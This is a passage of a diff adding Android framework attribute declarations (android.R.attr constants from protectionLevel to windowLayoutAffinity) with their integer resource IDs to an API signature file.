+    field public static final int protectionLevel = 16842761; // 0x1010009
+    field public static final int publicKey = 16843686; // 0x10103a6
+    field public static final int queryActionMsg = 16843227; // 0x10101db
+    field public static final int queryAfterZeroResults = 16843394; // 0x1010282
+    field public static final int queryBackground = 16843911; // 0x1010487
+    field public static final int queryHint = 16843608; // 0x1010358
+    field public static final int quickContactBadgeStyleSmallWindowLarge = 16843443; // 0x10102b3
+    field public static final int quickContactBadgeStyleSmallWindowMedium = 16843442; // 0x10102b2
+    field public static final int quickContactBadgeStyleSmallWindowSmall = 16843441; // 0x10102b1
+    field public static final int quickContactBadgeStyleWindowLarge = 16843440; // 0x10102b0
+    field public static final int quickContactBadgeStyleWindowMedium = 16843439; // 0x10102af
+    field public static final int quickContactBadgeStyleWindowSmall = 16843438; // 0x10102ae
+    field public static final int radioButtonStyle = 16842878; // 0x101007e
+    field public static final int radius = 16843176; // 0x10101a8
+    field public static final int rating = 16843077; // 0x1010145
+    field public static final int ratingBarStyle = 16842876; // 0x101007c
+    field public static final int ratingBarStyleIndicator = 16843280; // 0x1010210
+    field public static final int ratingBarStyleSmall = 16842877; // 0x101007d
+    field public static final int readPermission = 16842759; // 0x1010007
+    field public static final int recognitionService = 16843932; // 0x101049c
+    field public static final int recreateOnConfigChanges = 16844103; // 0x1010547
+    field public static final int recycleEnabled = 16844121; // 0x1010559
+    field public static final int relinquishTaskIdentity = 16843894; // 0x1010476
+    field public static final int reparent = 16843964; // 0x10104bc
+    field public static final int reparentWithOverlay = 16843965; // 0x10104bd
+    field public static final int repeatCount = 16843199; // 0x10101bf
+    field public static final int repeatMode = 16843200; // 0x10101c0
+    field public static final int reqFiveWayNav = 16843314; // 0x1010232
+    field public static final int reqHardKeyboard = 16843305; // 0x1010229
+    field public static final int reqKeyboardType = 16843304; // 0x1010228
+    field public static final int reqNavigation = 16843306; // 0x101022a
+    field public static final int reqTouchScreen = 16843303; // 0x1010227
+    field public static final int requestLegacyExternalStorage = 16844291; // 0x1010603
+    field public static final int requestRawExternalStorageAccess = 16844357; // 0x1010645
+    field public static final int requireDeviceScreenOn = 16844317; // 0x101061d
+    field public static final int requireDeviceUnlock = 16843756; // 0x10103ec
+    field public static final int required = 16843406; // 0x101028e
+    field public static final int requiredAccountType = 16843734; // 0x10103d6
+    field public static final int requiredFeature = 16844116; // 0x1010554
+    field public static final int requiredForAllUsers = 16843728; // 0x10103d0
+    field public static final int requiredNotFeature = 16844117; // 0x1010555
+    field public static final int requiresFadingEdge = 16843685; // 0x10103a5
+    field public static final int requiresSmallestWidthDp = 16843620; // 0x1010364
+    field public static final int resizeClip = 16843983; // 0x10104cf
+    field public static final int resizeMode = 16843619; // 0x1010363
+    field public static final int resizeable = 16843405; // 0x101028d
+    field public static final int resizeableActivity = 16844022; // 0x10104f6
+    field public static final int resource = 16842789; // 0x1010025
+    field public static final int resourcesMap = 16844297; // 0x1010609
+    field public static final int restoreAnyVersion = 16843450; // 0x10102ba
+    field @Deprecated public static final int restoreNeedsApplication = 16843421; // 0x101029d
+    field public static final int restrictedAccountType = 16843733; // 0x10103d5
+    field public static final int restrictionType = 16843923; // 0x1010493
+    field public static final int resumeWhilePausing = 16843954; // 0x10104b2
+    field public static final int reversible = 16843851; // 0x101044b
+    field public static final int revisionCode = 16843989; // 0x10104d5
+    field public static final int right = 16843183; // 0x10101af
+    field public static final int ringtonePreferenceStyle = 16842899; // 0x1010093
+    field public static final int ringtoneType = 16843257; // 0x10101f9
+    field public static final int rollbackDataPolicy = 16844311; // 0x1010617
+    field public static final int rotation = 16843558; // 0x1010326
+    field public static final int rotationAnimation = 16844090; // 0x101053a
+    field public static final int rotationX = 16843559; // 0x1010327
+    field public static final int rotationY = 16843560; // 0x1010328
+    field public static final int roundIcon = 16844076; // 0x101052c
+    field public static final int rowCount = 16843637; // 0x1010375
+    field public static final int rowDelay = 16843216; // 0x10101d0
+    field @Deprecated public static final int rowEdgeFlags = 16843329; // 0x1010241
+    field public static final int rowHeight = 16843058; // 0x1010132
+    field public static final int rowOrderPreserved = 16843638; // 0x1010376
+    field public static final int saveEnabled = 16842983; // 0x10100e7
+    field public static final int scaleGravity = 16843262; // 0x10101fe
+    field public static final int scaleHeight = 16843261; // 0x10101fd
+    field public static final int scaleType = 16843037; // 0x101011d
+    field public static final int scaleWidth = 16843260; // 0x10101fc
+    field public static final int scaleX = 16843556; // 0x1010324
+    field public static final int scaleY = 16843557; // 0x1010325
+    field public static final int scheme = 16842791; // 0x1010027
+    field public static final int screenDensity = 16843467; // 0x10102cb
+    field public static final int screenOrientation = 16842782; // 0x101001e
+    field public static final int screenReaderFocusable = 16844148; // 0x1010574
+    field public static final int screenSize = 16843466; // 0x10102ca
+    field public static final int scrollHorizontally = 16843099; // 0x101015b
+    field public static final int scrollIndicators = 16844006; // 0x10104e6
+    field public static final int scrollViewStyle = 16842880; // 0x1010080
+    field public static final int scrollX = 16842962; // 0x10100d2
+    field public static final int scrollY = 16842963; // 0x10100d3
+    field public static final int scrollbarAlwaysDrawHorizontalTrack = 16842856; // 0x1010068
+    field public static final int scrollbarAlwaysDrawVerticalTrack = 16842857; // 0x1010069
+    field public static final int scrollbarDefaultDelayBeforeFade = 16843433; // 0x10102a9
+    field public static final int scrollbarFadeDuration = 16843432; // 0x10102a8
+    field public static final int scrollbarSize = 16842851; // 0x1010063
+    field public static final int scrollbarStyle = 16842879; // 0x101007f
+    field public static final int scrollbarThumbHorizontal = 16842852; // 0x1010064
+    field public static final int scrollbarThumbVertical = 16842853; // 0x1010065
+    field public static final int scrollbarTrackHorizontal = 16842854; // 0x1010066
+    field public static final int scrollbarTrackVertical = 16842855; // 0x1010067
+    field public static final int scrollbars = 16842974; // 0x10100de
+    field public static final int scrollingCache = 16843006; // 0x10100fe
+    field @Deprecated public static final int searchButtonText = 16843269; // 0x1010205
+    field public static final int searchHintIcon = 16843988; // 0x10104d4
+    field public static final int searchIcon = 16843907; // 0x1010483
+    field public static final int searchMode = 16843221; // 0x10101d5
+    field public static final int searchSettingsDescription = 16843402; // 0x101028a
+    field public static final int searchSuggestAuthority = 16843222; // 0x10101d6
+    field public static final int searchSuggestIntentAction = 16843225; // 0x10101d9
+    field public static final int searchSuggestIntentData = 16843226; // 0x10101da
+    field public static final int searchSuggestPath = 16843223; // 0x10101d7
+    field public static final int searchSuggestSelection = 16843224; // 0x10101d8
+    field public static final int searchSuggestThreshold = 16843373; // 0x101026d
+    field public static final int searchViewStyle = 16843904; // 0x1010480
+    field public static final int secondaryContentAlpha = 16844115; // 0x1010553
+    field public static final int secondaryProgress = 16843064; // 0x1010138
+    field public static final int secondaryProgressTint = 16843879; // 0x1010467
+    field public static final int secondaryProgressTintMode = 16843880; // 0x1010468
+    field public static final int secureElementName = 16844290; // 0x1010602
+    field public static final int seekBarStyle = 16842875; // 0x101007b
+    field public static final int segmentedButtonStyle = 16843568; // 0x1010330
+    field public static final int selectAllOnFocus = 16843102; // 0x101015e
+    field public static final int selectable = 16843238; // 0x10101e6
+    field public static final int selectableAsDefault = 16844352; // 0x1010640
+    field public static final int selectableItemBackground = 16843534; // 0x101030e
+    field public static final int selectableItemBackgroundBorderless = 16843868; // 0x101045c
+    field @Deprecated public static final int selectedDateVerticalBar = 16843591; // 0x1010347
+    field @Deprecated public static final int selectedWeekBackgroundColor = 16843586; // 0x1010342
+    field public static final int selectionDividerHeight = 16844184; // 0x1010598
+    field public static final int sessionService = 16843837; // 0x101043d
+    field public static final int settingsActivity = 16843301; // 0x1010225
+    field public static final int settingsSliceUri = 16844179; // 0x1010593
+    field public static final int setupActivity = 16843766; // 0x10103f6
+    field public static final int shadowColor = 16843105; // 0x1010161
+    field public static final int shadowDx = 16843106; // 0x1010162
+    field public static final int shadowDy = 16843107; // 0x1010163
+    field public static final int shadowRadius = 16843108; // 0x1010164
+    field public static final int shape = 16843162; // 0x101019a
+    field public static final int shareInterpolator = 16843195; // 0x10101bb
+    field @Deprecated public static final int sharedUserId = 16842763; // 0x101000b
+    field @Deprecated public static final int sharedUserLabel = 16843361; // 0x1010261
+    field public static final int shell = 16844180; // 0x1010594
+    field public static final int shortcutDisabledMessage = 16844075; // 0x101052b
+    field public static final int shortcutId = 16844072; // 0x1010528
+    field public static final int shortcutLongLabel = 16844074; // 0x101052a
+    field public static final int shortcutShortLabel = 16844073; // 0x1010529
+    field public static final int shouldDisableView = 16843246; // 0x10101ee
+    field public static final int showAsAction = 16843481; // 0x10102d9
+    field public static final int showDefault = 16843258; // 0x10101fa
+    field public static final int showDividers = 16843561; // 0x1010329
+    field public static final int showForAllUsers = 16844015; // 0x10104ef
+    field public static final int showInInputMethodPicker = 16844360; // 0x1010648
+    field public static final int showMetadataInPreview = 16844079; // 0x101052f
+    field @Deprecated public static final int showOnLockScreen = 16843721; // 0x10103c9
+    field public static final int showSilent = 16843259; // 0x10101fb
+    field public static final int showText = 16843949; // 0x10104ad
+    field @Deprecated public static final int showWeekNumber = 16843582; // 0x101033e
+    field public static final int showWhenLocked = 16844137; // 0x1010569
+    field @Deprecated public static final int shownWeekCount = 16843585; // 0x1010341
+    field public static final int shrinkColumns = 16843082; // 0x101014a
+    field @Deprecated public static final int singleLine = 16843101; // 0x101015d
+    field public static final int singleLineTitle = 16844124; // 0x101055c
+    field public static final int singleUser = 16843711; // 0x10103bf
+    field public static final int slideEdge = 16843824; // 0x1010430
+    field public static final int smallIcon = 16843422; // 0x101029e
+    field public static final int smallScreens = 16843396; // 0x1010284
+    field public static final int smoothScrollbar = 16843313; // 0x1010231
+    field public static final int soundEffectsEnabled = 16843285; // 0x1010215
+    field public static final int spacing = 16843027; // 0x1010113
+    field public static final int spinnerDropDownItemStyle = 16842887; // 0x1010087
+    field public static final int spinnerItemStyle = 16842889; // 0x1010089
+    field public static final int spinnerMode = 16843505; // 0x10102f1
+    field public static final int spinnerStyle = 16842881; // 0x1010081
+    field public static final int spinnersShown = 16843595; // 0x101034b
+    field public static final int splashScreenTheme = 16844337; // 0x1010631
+    field public static final int splitMotionEvents = 16843503; // 0x10102ef
+    field public static final int splitName = 16844105; // 0x1010549
+    field public static final int splitTrack = 16843852; // 0x101044c
+    field public static final int spotShadowAlpha = 16843967; // 0x10104bf
+    field public static final int src = 16843033; // 0x1010119
+    field public static final int ssp = 16843747; // 0x10103e3
+    field public static final int sspAdvancedPattern = 16844321; // 0x1010621
+    field public static final int sspPattern = 16843749; // 0x10103e5
+    field public static final int sspPrefix = 16843748; // 0x10103e4
+    field public static final int sspSuffix = 16844319; // 0x101061f
+    field public static final int stackFromBottom = 16843005; // 0x10100fd
+    field public static final int stackViewStyle = 16843838; // 0x101043e
+    field public static final int starStyle = 16842882; // 0x1010082
+    field public static final int start = 16843995; // 0x10104db
+    field public static final int startColor = 16843165; // 0x101019d
+    field public static final int startDelay = 16843746; // 0x10103e2
+    field public static final int startOffset = 16843198; // 0x10101be
+    field public static final int startX = 16844048; // 0x1010510
+    field public static final int startY = 16844049; // 0x1010511
+    field @Deprecated public static final int startYear = 16843132; // 0x101017c
+    field public static final int stateListAnimator = 16843848; // 0x1010448
+    field public static final int stateNotNeeded = 16842774; // 0x1010016
+    field public static final int state_above_anchor = 16842922; // 0x10100aa
+    field public static final int state_accelerated = 16843547; // 0x101031b
+    field public static final int state_activated = 16843518; // 0x10102fe
+    field public static final int state_active = 16842914; // 0x10100a2
+    field public static final int state_checkable = 16842911; // 0x101009f
+    field public static final int state_checked = 16842912; // 0x10100a0
+    field public static final int state_drag_can_accept = 16843624; // 0x1010368
+    field public static final int state_drag_hovered = 16843625; // 0x1010369
+    field public static final int state_empty = 16842921; // 0x10100a9
+    field public static final int state_enabled = 16842910; // 0x101009e
+    field public static final int state_expanded = 16842920; // 0x10100a8
+    field public static final int state_first = 16842916; // 0x10100a4
+    field public static final int state_focused = 16842908; // 0x101009c
+    field public static final int state_hovered = 16843623; // 0x1010367
+    field public static final int state_last = 16842918; // 0x10100a6
+    field @Deprecated public static final int state_long_pressable = 16843324; // 0x101023c
+    field public static final int state_middle = 16842917; // 0x10100a5
+    field public static final int state_multiline = 16843597; // 0x101034d
+    field public static final int state_pressed = 16842919; // 0x10100a7
+    field public static final int state_selected = 16842913; // 0x10100a1
+    field public static final int state_single = 16842915; // 0x10100a3
+    field public static final int state_window_focused = 16842909; // 0x101009d
+    field public static final int staticWallpaperPreview = 16843569; // 0x1010331
+    field public static final int statusBarColor = 16843857; // 0x1010451
+    field public static final int stepSize = 16843078; // 0x1010146
+    field public static final int stopWithTask = 16843626; // 0x101036a
+    field public static final int streamType = 16843273; // 0x1010209
+    field public static final int stretchColumns = 16843081; // 0x1010149
+    field public static final int stretchMode = 16843030; // 0x1010116
+    field public static final int strokeAlpha = 16843979; // 0x10104cb
+    field public static final int strokeColor = 16843782; // 0x1010406
+    field public static final int strokeLineCap = 16843787; // 0x101040b
+    field public static final int strokeLineJoin = 16843788; // 0x101040c
+    field public static final int strokeMiterLimit = 16843789; // 0x101040d
+    field public static final int strokeWidth = 16843783; // 0x1010407
+    field public static final int subMenuArrow = 16844019; // 0x10104f3
+    field public static final int submitBackground = 16843912; // 0x1010488
+    field public static final int subtitle = 16843473; // 0x10102d1
+    field public static final int subtitleTextAppearance = 16843823; // 0x101042f
+    field public static final int subtitleTextColor = 16844004; // 0x10104e4
+    field public static final int subtitleTextStyle = 16843513; // 0x10102f9
+    field public static final int subtypeExtraValue = 16843674; // 0x101039a
+    field public static final int subtypeId = 16843713; // 0x10103c1
+    field public static final int subtypeLocale = 16843673; // 0x1010399
+    field public static final int suggestActionMsg = 16843228; // 0x10101dc
+    field public static final int suggestActionMsgColumn = 16843229; // 0x10101dd
+    field public static final int suggestionRowLayout = 16843910; // 0x1010486
+    field public static final int summary = 16843241; // 0x10101e9
+    field public static final int summaryColumn = 16843426; // 0x10102a2
+    field public static final int summaryOff = 16843248; // 0x10101f0
+    field public static final int summaryOn = 16843247; // 0x10101ef
+    field public static final int supportsAssist = 16844016; // 0x10104f0
+    field public static final int supportsInlineSuggestions = 16844301; // 0x101060d
+    field public static final int supportsLaunchVoiceAssistFromKeyguard = 16844017; // 0x10104f1
+    field public static final int supportsLocalInteraction = 16844047; // 0x101050f
+    field public static final int supportsMultipleDisplays = 16844182; // 0x1010596
+    field public static final int supportsPictureInPicture = 16844023; // 0x10104f7
+    field public static final int supportsRtl = 16843695; // 0x10103af
+    field public static final int supportsSwitchingToNextInputMethod = 16843755; // 0x10103eb
+    field public static final int supportsUploading = 16843419; // 0x101029b
+    field public static final int suppressesSpellChecker = 16844355; // 0x1010643
+    field public static final int switchMinWidth = 16843632; // 0x1010370
+    field public static final int switchPadding = 16843633; // 0x1010371
+    field public static final int switchPreferenceStyle = 16843629; // 0x101036d
+    field public static final int switchStyle = 16843839; // 0x101043f
+    field public static final int switchTextAppearance = 16843630; // 0x101036e
+    field public static final int switchTextOff = 16843628; // 0x101036c
+    field public static final int switchTextOn = 16843627; // 0x101036b
+    field public static final int syncable = 16842777; // 0x1010019
+    field public static final int tabStripEnabled = 16843453; // 0x10102bd
+    field public static final int tabStripLeft = 16843451; // 0x10102bb
+    field public static final int tabStripRight = 16843452; // 0x10102bc
+    field public static final int tabWidgetStyle = 16842883; // 0x1010083
+    field public static final int tag = 16842961; // 0x10100d1
+    field public static final int targetActivity = 16843266; // 0x1010202
+    field public static final int targetCellHeight = 16844341; // 0x1010635
+    field public static final int targetCellWidth = 16844340; // 0x1010634
+    field public static final int targetClass = 16842799; // 0x101002f
+    field @Deprecated public static final int targetDescriptions = 16843680; // 0x10103a0
+    field public static final int targetId = 16843740; // 0x10103dc
+    field public static final int targetName = 16843853; // 0x101044d
+    field public static final int targetPackage = 16842785; // 0x1010021
+    field public static final int targetProcesses = 16844097; // 0x1010541
+    field @Deprecated public static final int targetSandboxVersion = 16844108; // 0x101054c
+    field public static final int targetSdkVersion = 16843376; // 0x1010270
+    field public static final int taskAffinity = 16842770; // 0x1010012
+    field public static final int taskCloseEnterAnimation = 16842942; // 0x10100be
+    field public static final int taskCloseExitAnimation = 16842943; // 0x10100bf
+    field public static final int taskOpenEnterAnimation = 16842940; // 0x10100bc
+    field public static final int taskOpenExitAnimation = 16842941; // 0x10100bd
+    field public static final int taskToBackEnterAnimation = 16842946; // 0x10100c2
+    field public static final int taskToBackExitAnimation = 16842947; // 0x10100c3
+    field public static final int taskToFrontEnterAnimation = 16842944; // 0x10100c0
+    field public static final int taskToFrontExitAnimation = 16842945; // 0x10100c1
+    field public static final int tension = 16843370; // 0x101026a
+    field public static final int testOnly = 16843378; // 0x1010272
+    field public static final int text = 16843087; // 0x101014f
+    field public static final int textAlignment = 16843697; // 0x10103b1
+    field public static final int textAllCaps = 16843660; // 0x101038c
+    field public static final int textAppearance = 16842804; // 0x1010034
+    field public static final int textAppearanceButton = 16843271; // 0x1010207
+    field public static final int textAppearanceInverse = 16842805; // 0x1010035
+    field public static final int textAppearanceLarge = 16842816; // 0x1010040
+    field public static final int textAppearanceLargeInverse = 16842819; // 0x1010043
+    field public static final int textAppearanceLargePopupMenu = 16843521; // 0x1010301
+    field public static final int textAppearanceListItem = 16843678; // 0x101039e
+    field public static final int textAppearanceListItemSecondary = 16843826; // 0x1010432
+    field public static final int textAppearanceListItemSmall = 16843679; // 0x101039f
+    field public static final int textAppearanceMedium = 16842817; // 0x1010041
+    field public static final int textAppearanceMediumInverse = 16842820; // 0x1010044
+    field public static final int textAppearancePopupMenuHeader = 16844034; // 0x1010502
+    field public static final int textAppearanceSearchResultSubtitle = 16843424; // 0x10102a0
+    field public static final int textAppearanceSearchResultTitle = 16843425; // 0x10102a1
+    field public static final int textAppearanceSmall = 16842818; // 0x1010042
+    field public static final int textAppearanceSmallInverse = 16842821; // 0x1010045
+    field public static final int textAppearanceSmallPopupMenu = 16843522; // 0x1010302
+    field public static final int textCheckMark = 16842822; // 0x1010046
+    field public static final int textCheckMarkInverse = 16842823; // 0x1010047
+    field public static final int textColor = 16842904; // 0x1010098
+    field public static final int textColorAlertDialogListItem = 16843526; // 0x1010306
+    field public static final int textColorHighlight = 16842905; // 0x1010099
+    field public static final int textColorHighlightInverse = 16843599; // 0x101034f
+    field public static final int textColorHint = 16842906; // 0x101009a
+    field public static final int textColorHintInverse = 16842815; // 0x101003f
+    field public static final int textColorLink = 16842907; // 0x101009b
+    field public static final int textColorLinkInverse = 16843600; // 0x1010350
+    field public static final int textColorPrimary = 16842806; // 0x1010036
+    field public static final int textColorPrimaryDisableOnly = 16842807; // 0x1010037
+    field public static final int textColorPrimaryInverse = 16842809; // 0x1010039
+    field public static final int textColorPrimaryInverseDisableOnly = 16843403; // 0x101028b
+    field public static final int textColorPrimaryInverseNoDisable = 16842813; // 0x101003d
+    field public static final int textColorPrimaryNoDisable = 16842811; // 0x101003b
+    field public static final int textColorSecondary = 16842808; // 0x1010038
+    field public static final int textColorSecondaryInverse = 16842810; // 0x101003a
+    field public static final int textColorSecondaryInverseNoDisable = 16842814; // 0x101003e
+    field public static final int textColorSecondaryNoDisable = 16842812; // 0x101003c
+    field public static final int textColorTertiary = 16843282; // 0x1010212
+    field public static final int textColorTertiaryInverse = 16843283; // 0x1010213
+    field public static final int textCursorDrawable = 16843618; // 0x1010362
+    field public static final int textDirection = 16843696; // 0x10103b0
+    field public static final int textEditNoPasteWindowLayout = 16843541; // 0x1010315
+    field public static final int textEditPasteWindowLayout = 16843540; // 0x1010314
+    field public static final int textEditSideNoPasteWindowLayout = 16843615; // 0x101035f
+    field public static final int textEditSidePasteWindowLayout = 16843614; // 0x101035e
+    field public static final int textEditSuggestionItemLayout = 16843636; // 0x1010374
+    field public static final int textFilterEnabled = 16843007; // 0x10100ff
+    field public static final int textFontWeight = 16844165; // 0x1010585
+    field public static final int textIsSelectable = 16843542; // 0x1010316
+    field public static final int textLocale = 16844178; // 0x1010592
+    field public static final int textOff = 16843045; // 0x1010125
+    field public static final int textOn = 16843044; // 0x1010124
+    field public static final int textScaleX = 16843089; // 0x1010151
+    field public static final int textSelectHandle = 16843463; // 0x10102c7
+    field public static final int textSelectHandleLeft = 16843461; // 0x10102c5
+    field public static final int textSelectHandleRight = 16843462; // 0x10102c6
+    field public static final int textSelectHandleWindowStyle = 16843464; // 0x10102c8
+    field public static final int textSize = 16842901; // 0x1010095
+    field public static final int textStyle = 16842903; // 0x1010097
+    field public static final int textSuggestionsWindowStyle = 16843635; // 0x1010373
+    field public static final int textViewStyle = 16842884; // 0x1010084
+    field public static final int theme = 16842752; // 0x1010000
+    field public static final int thickness = 16843360; // 0x1010260
+    field public static final int thicknessRatio = 16843164; // 0x101019c
+    field public static final int thumb = 16843074; // 0x1010142
+    field public static final int thumbOffset = 16843075; // 0x1010143
+    field public static final int thumbPosition = 16844005; // 0x10104e5
+    field public static final int thumbTextPadding = 16843634; // 0x1010372
+    field public static final int thumbTint = 16843889; // 0x1010471
+    field public static final int thumbTintMode = 16843890; // 0x1010472
+    field public static final int thumbnail = 16843429; // 0x10102a5
+    field public static final int tickMark = 16844042; // 0x101050a
+    field public static final int tickMarkTint = 16844043; // 0x101050b
+    field public static final int tickMarkTintMode = 16844044; // 0x101050c
+    field public static final int tileMode = 16843265; // 0x1010201
+    field public static final int tileModeX = 16843895; // 0x1010477
+    field public static final int tileModeY = 16843896; // 0x1010478
+    field public static final int timePickerDialogTheme = 16843934; // 0x101049e
+    field public static final int timePickerMode = 16843956; // 0x10104b4
+    field public static final int timePickerStyle = 16843933; // 0x101049d
+    field public static final int timeZone = 16843724; // 0x10103cc
+    field public static final int tint = 16843041; // 0x1010121
+    field public static final int tintMode = 16843771; // 0x10103fb
+    field public static final int title = 16843233; // 0x10101e1
+    field public static final int titleCondensed = 16843234; // 0x10101e2
+    field public static final int titleMargin = 16844024; // 0x10104f8
+    field public static final int titleMarginBottom = 16844028; // 0x10104fc
+    field public static final int titleMarginEnd = 16844026; // 0x10104fa
+    field public static final int titleMarginStart = 16844025; // 0x10104f9
+    field public static final int titleMarginTop = 16844027; // 0x10104fb
+    field public static final int titleTextAppearance = 16843822; // 0x101042e
+    field public static final int titleTextColor = 16844003; // 0x10104e3
+    field public static final int titleTextStyle = 16843512; // 0x10102f8
+    field public static final int toAlpha = 16843211; // 0x10101cb
+    field public static final int toDegrees = 16843188; // 0x10101b4
+    field public static final int toId = 16843849; // 0x1010449
+    field public static final int toScene = 16843742; // 0x10103de
+    field public static final int toXDelta = 16843207; // 0x10101c7
+    field public static final int toXScale = 16843203; // 0x10101c3
+    field public static final int toYDelta = 16843209; // 0x10101c9
+    field public static final int toYScale = 16843205; // 0x10101c5
+    field public static final int toolbarStyle = 16843946; // 0x10104aa
+    field public static final int tooltipText = 16844084; // 0x1010534
+    field public static final int top = 16843182; // 0x10101ae
+    field public static final int topBright = 16842955; // 0x10100cb
+    field public static final int topDark = 16842951; // 0x10100c7
+    field public static final int topLeftRadius = 16843177; // 0x10101a9
+    field public static final int topOffset = 16843352; // 0x1010258
+    field public static final int topRightRadius = 16843178; // 0x10101aa
+    field public static final int touchscreenBlocksFocus = 16843919; // 0x101048f
+    field public static final int track = 16843631; // 0x101036f
+    field public static final int trackTint = 16843993; // 0x10104d9
+    field public static final int trackTintMode = 16843994; // 0x10104da
+    field public static final int transcriptMode = 16843008; // 0x1010100
+    field public static final int transformPivotX = 16843552; // 0x1010320
+    field public static final int transformPivotY = 16843553; // 0x1010321
+    field public static final int transition = 16843743; // 0x10103df
+    field public static final int transitionGroup = 16843777; // 0x1010401
+    field public static final int transitionName = 16843776; // 0x1010400
+    field public static final int transitionOrdering = 16843744; // 0x10103e0
+    field public static final int transitionVisibilityMode = 16843900; // 0x101047c
+    field public static final int translateX = 16843866; // 0x101045a
+    field public static final int translateY = 16843867; // 0x101045b
+    field public static final int translationX = 16843554; // 0x1010322
+    field public static final int translationY = 16843555; // 0x1010323
+    field public static final int translationZ = 16843770; // 0x10103fa
+    field public static final int trimPathEnd = 16843785; // 0x1010409
+    field public static final int trimPathOffset = 16843786; // 0x101040a
+    field public static final int trimPathStart = 16843784; // 0x1010408
+    field public static final int ttcIndex = 16844143; // 0x101056f
+    field public static final int tunerCount = 16844061; // 0x101051d
+    field public static final int turnScreenOn = 16844138; // 0x101056a
+    field public static final int type = 16843169; // 0x10101a1
+    field public static final int typeface = 16842902; // 0x1010096
+    field public static final int uiOptions = 16843672; // 0x1010398
+    field public static final int uncertainGestureColor = 16843382; // 0x1010276
+    field @Deprecated public static final int unfocusedMonthDateColor = 16843588; // 0x1010344
+    field public static final int unselectedAlpha = 16843278; // 0x101020e
+    field public static final int updatePeriodMillis = 16843344; // 0x1010250
+    field public static final int use32bitAbi = 16844053; // 0x1010515
+    field public static final int useAppZygote = 16844183; // 0x1010597
+    field public static final int useDefaultMargins = 16843641; // 0x1010379
+    field public static final int useEmbeddedDex = 16844190; // 0x101059e
+    field public static final int useIntrinsicSizeAsMinimum = 16843536; // 0x1010310
+    field public static final int useLevel = 16843167; // 0x101019f
+    field public static final int userVisible = 16843409; // 0x1010291
+    field public static final int usesCleartextTraffic = 16844012; // 0x10104ec
+    field public static final int usesPermissionFlags = 16844356; // 0x1010644
+    field public static final int value = 16842788; // 0x1010024
+    field public static final int valueFrom = 16843486; // 0x10102de
+    field public static final int valueTo = 16843487; // 0x10102df
+    field public static final int valueType = 16843488; // 0x10102e0
+    field public static final int variablePadding = 16843157; // 0x1010195
+    field public static final int vendor = 16843751; // 0x10103e7
+    field public static final int version = 16844057; // 0x1010519
+    field public static final int versionCode = 16843291; // 0x101021b
+    field public static final int versionCodeMajor = 16844150; // 0x1010576
+    field public static final int versionMajor = 16844151; // 0x1010577
+    field public static final int versionName = 16843292; // 0x101021c
+    field @Deprecated public static final int verticalCorrection = 16843322; // 0x101023a
+    field public static final int verticalDivider = 16843054; // 0x101012e
+    field @Deprecated public static final int verticalGap = 16843328; // 0x1010240
+    field public static final int verticalScrollbarPosition = 16843572; // 0x1010334
+    field public static final int verticalSpacing = 16843029; // 0x1010115
+    field public static final int viewportHeight = 16843779; // 0x1010403
+    field public static final int viewportWidth = 16843778; // 0x1010402
+    field public static final int visibility = 16842972; // 0x10100dc
+    field public static final int visible = 16843156; // 0x1010194
+    field public static final int visibleToInstantApps = 16844081; // 0x1010531
+    field public static final int vmSafeMode = 16843448; // 0x10102b8
+    field public static final int voiceIcon = 16843908; // 0x1010484
+    field public static final int voiceLanguage = 16843349; // 0x1010255
+    field public static final int voiceLanguageModel = 16843347; // 0x1010253
+    field public static final int voiceMaxResults = 16843350; // 0x1010256
+    field public static final int voicePromptText = 16843348; // 0x1010254
+    field public static final int voiceSearchMode = 16843346; // 0x1010252
+    field public static final int wallpaperCloseEnterAnimation = 16843413; // 0x1010295
+    field public static final int wallpaperCloseExitAnimation = 16843414; // 0x1010296
+    field public static final int wallpaperIntraCloseEnterAnimation = 16843417; // 0x1010299
+    field public static final int wallpaperIntraCloseExitAnimation = 16843418; // 0x101029a
+    field public static final int wallpaperIntraOpenEnterAnimation = 16843415; // 0x1010297
+    field public static final int wallpaperIntraOpenExitAnimation = 16843416; // 0x1010298
+    field public static final int wallpaperOpenEnterAnimation = 16843411; // 0x1010293
+    field public static final int wallpaperOpenExitAnimation = 16843412; // 0x1010294
+    field public static final int webTextViewStyle = 16843449; // 0x10102b9
+    field public static final int webViewStyle = 16842885; // 0x1010085
+    field public static final int weekDayTextAppearance = 16843592; // 0x1010348
+    field @Deprecated public static final int weekNumberColor = 16843589; // 0x1010345
+    field @Deprecated public static final int weekSeparatorLineColor = 16843590; // 0x1010346
+    field public static final int weightSum = 16843048; // 0x1010128
+    field public static final int widgetCategory = 16843716; // 0x10103c4
+    field public static final int widgetFeatures = 16844153; // 0x1010579
+    field public static final int widgetLayout = 16843243; // 0x10101eb
+    field public static final int width = 16843097; // 0x1010159
+    field public static final int windowActionBar = 16843469; // 0x10102cd
+    field public static final int windowActionBarOverlay = 16843492; // 0x10102e4
+    field public static final int windowActionModeOverlay = 16843485; // 0x10102dd
+    field public static final int windowActivityTransitions = 16843981; // 0x10104cd
+    field public static final int windowAllowEnterTransitionOverlap = 16843836; // 0x101043c
+    field public static final int windowAllowReturnTransitionOverlap = 16843835; // 0x101043b
+    field public static final int windowAnimationStyle = 16842926; // 0x10100ae
+    field public static final int windowBackground = 16842836; // 0x1010054
+    field public static final int windowBackgroundBlurRadius = 16844331; // 0x101062b
+    field public static final int windowBackgroundFallback = 16844035; // 0x1010503
+    field public static final int windowBlurBehindEnabled = 16844316; // 0x101061c
+    field public static final int windowBlurBehindRadius = 16844315; // 0x101061b
+    field public static final int windowClipToOutline = 16843947; // 0x10104ab
+    field public static final int windowCloseOnTouchOutside = 16843611; // 0x101035b
+    field public static final int windowContentOverlay = 16842841; // 0x1010059
+    field public static final int windowContentTransitionManager = 16843769; // 0x10103f9
+    field public static final int windowContentTransitions = 16843768; // 0x10103f8
+    field public static final int windowDisablePreview = 16843298; // 0x1010222
+    field public static final int windowDrawsSystemBarBackgrounds = 16843856; // 0x1010450
+    field public static final int windowElevation = 16843920; // 0x1010490
+    field public static final int windowEnableSplitTouch = 16843543; // 0x1010317
+    field public static final int windowEnterAnimation = 16842932; // 0x10100b4
+    field public static final int windowEnterTransition = 16843831; // 0x1010437
+    field public static final int windowExitAnimation = 16842933; // 0x10100b5
+    field public static final int windowExitTransition = 16843832; // 0x1010438
+    field public static final int windowFrame = 16842837; // 0x1010055
+    field public static final int windowFullscreen = 16843277; // 0x101020d
+    field public static final int windowHideAnimation = 16842935; // 0x10100b7
+    field public static final int windowIsFloating = 16842839; // 0x1010057
+    field public static final int windowIsTranslucent = 16842840; // 0x1010058
+    field public static final int windowLayoutAffinity = 16844313; // 0x1010619
